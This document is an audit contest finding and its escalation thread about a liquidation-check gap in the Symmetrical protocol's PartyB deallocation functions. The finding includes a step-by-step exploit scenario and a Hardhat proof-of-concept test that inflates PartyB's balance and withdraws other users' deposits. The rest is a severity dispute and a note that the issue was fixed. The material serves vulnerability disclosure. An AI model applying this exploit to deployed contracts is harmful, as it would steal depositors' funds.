panprog - Some actions are allowed on partyB when corresponding partyA is liquidated allowing to steal all protocol funds

[sherlock-admin]

panprog

high

Some actions are allowed on partyB when corresponding partyA is liquidated allowing to steal all protocol funds

Summary

deallocateForPartyB function doesn't check if partyA is liquidated, allowing partyB to deallocate funds when partyA liquidation process is not finished:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/Account/AccountFacet.sol#L84-L91

transferAllocation function doesn't check if partyA is liquidated either:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/Account/AccountFacetImpl.sol#L71-L106

Either of these functions allows to deallocate (or transfer, then deallocate) funds for partyB when partyA liquidation is not yet finished. Coupled with the ability for liquidator to choose which partyA positions to liquidate, this allows to steal all protocol funds.

Vulnerability Detail

Liquidating partyA is a multi-step process. First, liquidatePartyA is called to mark the start of liquidation process. Then, liquidator has to set symbol prices, liquidate pending quotes and finally call liquidatePositionsPartyA (possibly multiple times) with liquidated positions. Each position, which is liquidated in the liquidatePositionsPartyA function increases allocatedBalance of partyB if the position is in a loss for partyA (profit for partyB).

The bug reported here allows for partyB to deallocate this increased allocatedBalance while partyA liquidation is still in process. The scenario to exploit this bug is as following:

1. User has to control partyA, partyB and liquidator.
2. Open 2 large opposite positions between partyA and partyB such that one of them is in a high loss and the other in the same/similar profit (easy to do via openPrice which is far away from current market price, since both partyA and partyB are controlled by the same user).
3. Make partyA liquidatable (many ways to do this: for example, opposite positions can have slightly different size with minimal locked balances, so that when the price moves, this disparency can make partyA liquidatable)
4. Call liquidatePartyA and setSymbolsPrice (there is no bad debt, because 1 position is in a big loss, the other position in a big profit, but their sum is in a small loss, which is covered by allocatd balance)
5. Sign singleUpnlSig for partyB at this time (partyB is in a small profit)
6. User-controlled liquidator calls liquidatePositionsPartyA with id of only the position which is in a loss for partyA, profit for partyB. This call increases partyB allocated balance by a very high profit of the position. Moreover, this action doesn't change partyB's nonce, so previous partyB signature is still valid.
7. At this time partyB has large inflated allocatedBalance and the same big loss, however signature for when partyB was in a small profit is still valid, because party B nonce is the same (position liquidation didn't change it). Use that older signature to sign deallocateForPartyB, deallocating inflated balance (which can easily be higher than total protocol deposited funds).
8. Withdraw deallocated balance for partyB. At this point all protocol funds are stolen.

The other instances where there is no check if party is liquidated:

1. partyA requestToClosePosition (it checks if quote is liquidated, but doesn't check for neither partyA nor partyB liquidation status)
2. partyB fillCloseRequest (same as requestToClosePosition)
3. partyA deallocate checks for partyA liquidation status, but can't check for partyB liquidation status, because there can be multiple partyB's. This is reported as a separate bug, because the core problem (muon app signing incorrect upnl) and solution for that one is different.

Impact

All protocol funds can be stolen if a user can control partyA, partyB and liquidator. Since partyB and liquidator roles are supposed to be easy to get, this means that most users are able to easily steal all protocol funds.

Code Snippet

Add this to any test, for example to ClosePosition.behavior.ts.

import { getDummyPriceSig, getDummySingleUpnlAndPriceSig, getDummyQuotesPriceSig, getDummySingleUpnlSig } from "./utils/SignatureUtils";

it("Steal all funds via inflated PartyB allocated balance off picky partyA position liquidation", async function () {
  const context: RunContext = this.context;

  this.protocol_allocated = decimal(1000);

  this.user_allocated = decimal(590);
  this.hedger_allocated = decimal(420);

  // some unsuspecting user deposits 1000 into protocol (but doesn't allocate it)
  this.user2 = new User(this.context, this.context.signers.user);
  await this.user2.setup();
  await this.user2.setBalances(this.protocol_allocated, this.protocol_allocated, 0);

  // exploiter user controls partyA, partyB and liquidator
  this.user = new User(this.context, this.context.signers.user);
  await this.user.setup();
  await this.user.setBalances(this.user_allocated, this.user_allocated, this.user_allocated);

  this.hedger = new Hedger(this.context, this.context.signers.hedger);
  await this.hedger.setup();
  await this.hedger.setBalances(this.hedger_allocated, this.hedger_allocated);

  this.liquidator = new User(this.context, this.context.signers.liquidator);
  await this.liquidator.setup();

  // open 2 opposite direction positions with user-controlled hedger to exploit them later
  // (positions with slightly different sizes so that at some point the hedger can be liquidated)
  await this.user.sendQuote(limitQuoteRequestBuilder()
    .quantity(decimal(11000))
    .price(decimal(1))
    .cva(decimal(100)).lf(decimal(50)).mm(decimal(40))
    .build()
  );
  await this.hedger.lockQuote(1, 0, decimal(2, 16));
  await this.hedger.openPosition(1, limitOpenRequestBuilder().filledAmount(decimal(11000)).openPrice(decimal(1)).price(decimal(1)).build());

  await this.user.sendQuote(limitQuoteRequestBuilder()
    .positionType(PositionType.SHORT)
    .quantity(decimal(10000))
    .price(decimal(1))
    .cva(decimal(100)).lf(decimal(50)).mm(decimal(40))
    .build()
  );
  await this.hedger.lockQuote(2, 0, decimal(2, 16));
  await this.hedger.openPosition(2, limitOpenRequestBuilder().filledAmount(decimal(10000)).openPrice(decimal(1)).price(decimal(1)).build());

  var info = await this.user.getBalanceInfo();
  console.log("partyA allocated: " + info.allocatedBalances / 1e18 + " locked: " + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked / 1e18);
  var info = await this.hedger.getBalanceInfo(this.user.getAddress());
  console.log("partyB allocated: " + info.allocatedBalances / 1e18 + " locked: " + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked / 1e18);

  // price goes to 0.9, so partyA is in a loss of -100 and becomes liquidatable
  // user now exploits the bug by liquidating partyA
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePartyA(
    this.user.signer.address,
    await getDummySingleUpnlSig(decimal(-100)),
  );

  await context.liquidationFacet.connect(this.liquidator.signer).setSymbolsPrice(
      this.user.signer.address,
      await getDummyPriceSig([1], [decimal(9, 17)], decimal(-100), decimal(1100)),
    );

  // get partyB upnl signature before partyA position is liquidated (at which time partyB has upnl of +100)
  var previousSig = await getDummySingleUpnlSig(decimal(100));

  // liquidate only quote 1 (temporarily inflating balance of controlled partyB)
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePositionsPartyA(
    this.user.signer.address,
    [1]
  );

  var info = await this.hedger.getBalanceInfo(this.user.getAddress());
  console.log("after liquidation of partyA: partyB allocated: " + info.allocatedBalances / 1e18 + " locked: " + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked / 1e18);

  // deallocate partyB with previous signature (before partyA's position is liquidated)
  // (current partyB upnl is -1100)
  await context.accountFacet.connect(this.hedger.signer).deallocateForPartyB(decimal(1530), this.user.getAddress(), previousSig);
  // alternatively use transferAllocation
  //await context.accountFacet.connect(this.hedger.signer).transferAllocation(decimal(1530), this.user.getAddress(), this.user2.getAddress(), previousSig);
  //await context.accountFacet.connect(this.hedger.signer).deallocateForPartyB(decimal(1530), this.user2.getAddress(), previousSig);

  var balance = await context.viewFacet.balanceOf(this.hedger.getAddress());
  console.log("PartyB balance to withdraw: " + balance/1e18);
  var info = await this.hedger.getBalanceInfo(this.user.getAddress());
  console.log("partyB allocated: " + info.allocatedBalances / 1e18 + " locked: " + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked / 1e18);
  await time.increase(300);
  await context.accountFacet.connect(this.hedger.signer).withdraw(balance);

  var balance = await context.collateral.balanceOf(this.hedger.getAddress());
  console.log("Withdrawn partyB balance: " + balance/1e18);
  var balance = await context.collateral.balanceOf(context.diamond);
  console.log("Protocol balance: " + balance/1e18 + " (less than unsuspected user deposited)");

  // try to withdraw unsuspected user's balance
  await expect(context.accountFacet.connect(this.user2.signer).withdraw(this.protocol_allocated))
    .to.be.revertedWith("ERC20: transfer amount exceeds balance");

  console.log("User who only deposited 1000 is unable to withdraw his deposit because partyB has stolen his funds");

});

Tool used

Manual Review

Recommendation

Add require's (or modifiers) to check that neither partyA nor partyB of the quote are liquidated in the following functions:

1. deallocateForPartyB
2. transferAllocation
3. requestToClosePosition
4. fillCloseRequest

[ctf-sec]

Comment from senior watson:

Point 1 - As per the impact of the report, it mentioned the following:

All protocol funds can be stolen if a user can control partyA, partyB and liquidator. Since partyB and liquidator roles are supposed to be easy to get, this means that most users are able to easily steal all protocol funds.

The PartyB has to be vetted and whitelisted by protocol. The liquidator role also needs to be granted by the protocol. Only PartyA is public. It is challenging for an attacker to gain control of all three (3) roles in order to carry out the attack mentioned in the report. Thus, it does not meet the requirement of a high-risk rating

[panprog]

Escalate

This should be high, not medium.

1. Liquidator is not trusted, refer to contest Q&A:

Are there any additional protocol roles? If yes, please explain in detail:
MUON_SETTER_ROLE: Can change settings of the Muon Oracle.
SYMBOL_MANAGER_ROLE: Can add, edit, and remove markets, as well as change market settings like fees and minimum acceptable position size.
PAUSER_ROLE: Can pause all system operations.
UNPAUSER_ROLE: Can unpause all system operations.
PARTY_B_MANAGER_ROLE: Can add new partyBs to the system.
LIQUIDATOR_ROLE: Can liquidate users.
SETTER_ROLE: Can change main system settings.
Note: All roles are trusted except for LIQUIDATOR_ROLE.

2. Liquidator role is supposed to be easy to get, even if it might require some funds deposit, but since this bug allows to steal ALL protocol funds deposited, this deposit can easily be forfeited. Refer to this comment:

In the current system setup, we have established a role for liquidators. To give them this role, we might require an external contract in which they are obliged to lock a certain amount of money. This serves as a guarantee against any potential system sabotage or incomplete liquidation they may commit. If they fail to fulfill their role appropriately, they would face penalties.

4. PartyB is expected to be easy to get for any user later on, even though it's currently only for select users. Refer to discord reply:

ideally anyone can become a PartyB,
but it also requires you to stream your quotes to a frontend (so users can see them, and frontends can create a payload for the user to send it onchain),
and be able to accept trades when they come in.

so it definitely requires some software architecture,
we will provide examples for this in combination with the SDK probably in Q4 to open up the process and make it semi-permissionless

until then integrations are with selected players and MarketMakers

As described above, both liquidator and partyB roles will be easy to get, so the scenario described is easy to achieve and the impact (all protocol funds stolen) makes it possible to ignore all possible deposits required to obtain these roles.

As such, this should be high.

[sherlock-admin2]

Escalate

This should be high, not medium.

1. Liquidator is not trusted, refer to contest Q&A:

Are there any additional protocol roles? If yes, please explain in detail:
MUON_SETTER_ROLE: Can change settings of the Muon Oracle.
SYMBOL_MANAGER_ROLE: Can add, edit, and remove markets, as well as change market settings like fees and minimum acceptable position size.
PAUSER_ROLE: Can pause all system operations.
UNPAUSER_ROLE: Can unpause all system operations.
PARTY_B_MANAGER_ROLE: Can add new partyBs to the system.
LIQUIDATOR_ROLE: Can liquidate users.
SETTER_ROLE: Can change main system settings.
Note: All roles are trusted except for LIQUIDATOR_ROLE.

2. Liquidator role is supposed to be easy to get, even if it might require some funds deposit, but since this bug allows to steal ALL protocol funds deposited, this deposit can easily be forfeited. Refer to this comment:

In the current system setup, we have established a role for liquidators. To give them this role, we might require an external contract in which they are obliged to lock a certain amount of money. This serves as a guarantee against any potential system sabotage or incomplete liquidation they may commit. If they fail to fulfill their role appropriately, they would face penalties.

4. PartyB is expected to be easy to get for any user later on, even though it's currently only for select users. Refer to discord reply:

ideally anyone can become a PartyB,
but it also requires you to stream your quotes to a frontend (so users can see them, and frontends can create a payload for the user to send it onchain),
and be able to accept trades when they come in.

so it definitely requires some software architecture,
we will provide examples for this in combination with the SDK probably in Q4 to open up the process and make it semi-permissionless

until then integrations are with selected players and MarketMakers

As described above, both liquidator and partyB roles will be easy to get, so the scenario described is easy to achieve and the impact (all protocol funds stolen) makes it possible to ignore all possible deposits required to obtain these roles.

As such, this should be high.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[xiaoming9090]

Escalate

To carry out the attack mentioned in the report, the malicious user needs to gain control of all three (3) roles, which are PartyA, PartyB, and Liquidator roles, to carry out the attack. There are several measures present within the protocol that make such an event unlikely.

PartyB (Hedger) and Liquidator roles are in fact not easy to obtain from the protocol, and they cannot be attained without explicit authorization from the protocol team. It will only be considered easy to obtain if they are permissionless, where anyone/anon could register to become a PartyB or Liquidator without being reviewed/vetted by the protocol team.

PartyB and Liquidator roles must be explicitly granted by the protocol team via the registerPartyB function and the grantRole function, respectively.

In the current system, to become a PartyB, the Hedgers must be known entities such as market makers with a reputation and identifiable founders, etc, and not open to the general public. Those hedgers/entities have a lot at stake if they engage in malicious actions, which include facing legal consequences.

The liquidator role is also not open to the general public, and the protocol would vet/review them before granting this role. Approved Liquidators are further required to lock in a certain amount of money, serving as a guarantee against any potential system sabotage.

Lastly, it's worth noting that in a real-world context, PartyB and Liquidator roles are typically held by distinct entities. Hence, some degree of collusion - another layer of complexity - would be necessary for the attack to be successful.

Given the controls in place and the several preconditions required for such an issue to occur, this issue should be considered of Medium severity.

[sherlock-admin2]

Escalate

To carry out the attack mentioned in the report, the malicious user needs to gain control of all three (3) roles, which are PartyA, PartyB, and Liquidator roles, to carry out the attack. There are several measures present within the protocol that make such an event unlikely.

PartyB (Hedger) and Liquidator roles are in fact not easy to obtain from the protocol, and they cannot be attained without explicit authorization from the protocol team. It will only be considered easy to obtain if they are permissionless, where anyone/anon could register to become a PartyB or Liquidator without being reviewed/vetted by the protocol team.

PartyB and Liquidator roles must be explicitly granted by the protocol team via the registerPartyB function and the grantRole function, respectively.

In the current system, to become a PartyB, the Hedgers must be known entities such as market makers with a reputation and identifiable founders, etc, and not open to the general public. Those hedgers/entities have a lot at stake if they engage in malicious actions, which include facing legal consequences.

The liquidator role is also not open to the general public, and the protocol would vet/review them before granting this role. Approved Liquidators are further required to lock in a certain amount of money, serving as a guarantee against any potential system sabotage.

Lastly, it's worth noting that in a real-world context, PartyB and Liquidator roles are typically held by distinct entities. Hence, some degree of collusion - another layer of complexity - would be necessary for the attack to be successful.

Given the controls in place and the several preconditions required for such an issue to occur, this issue should be considered of Medium severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[ctf-sec]

I would have to agree with senior watson's escalation

Consider that in the contest read me

https://audits.sherlock.xyz/contests/85

Are the admins of the protocols your contracts integrate with (if any) TRUSTED or RESTRICTED?

TRUSTED

Is the admin/owner of the protocol/contracts TRUSTED or RESTRICTED?

TRUSTED

and

PARTY_B_MANAGER_ROLE: Can add new partyBs to the system.
LIQUIDATOR_ROLE: Can liquidate users.

needs to be granted by the protocol, recommend consider this issue as a valid medium

[CodingNameKiki]

Additional information by the sponsor which might be helpful.

[MoonKnightDev]

Fixed code PR link:
SYMM-IO/protocol-core#10

[hrishibhat]

Result:
Medium
Unique
Agree with the points raised in this escalaiton. This is a valid medium issue.

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• xiaoming9090: accepted
• panprog: rejected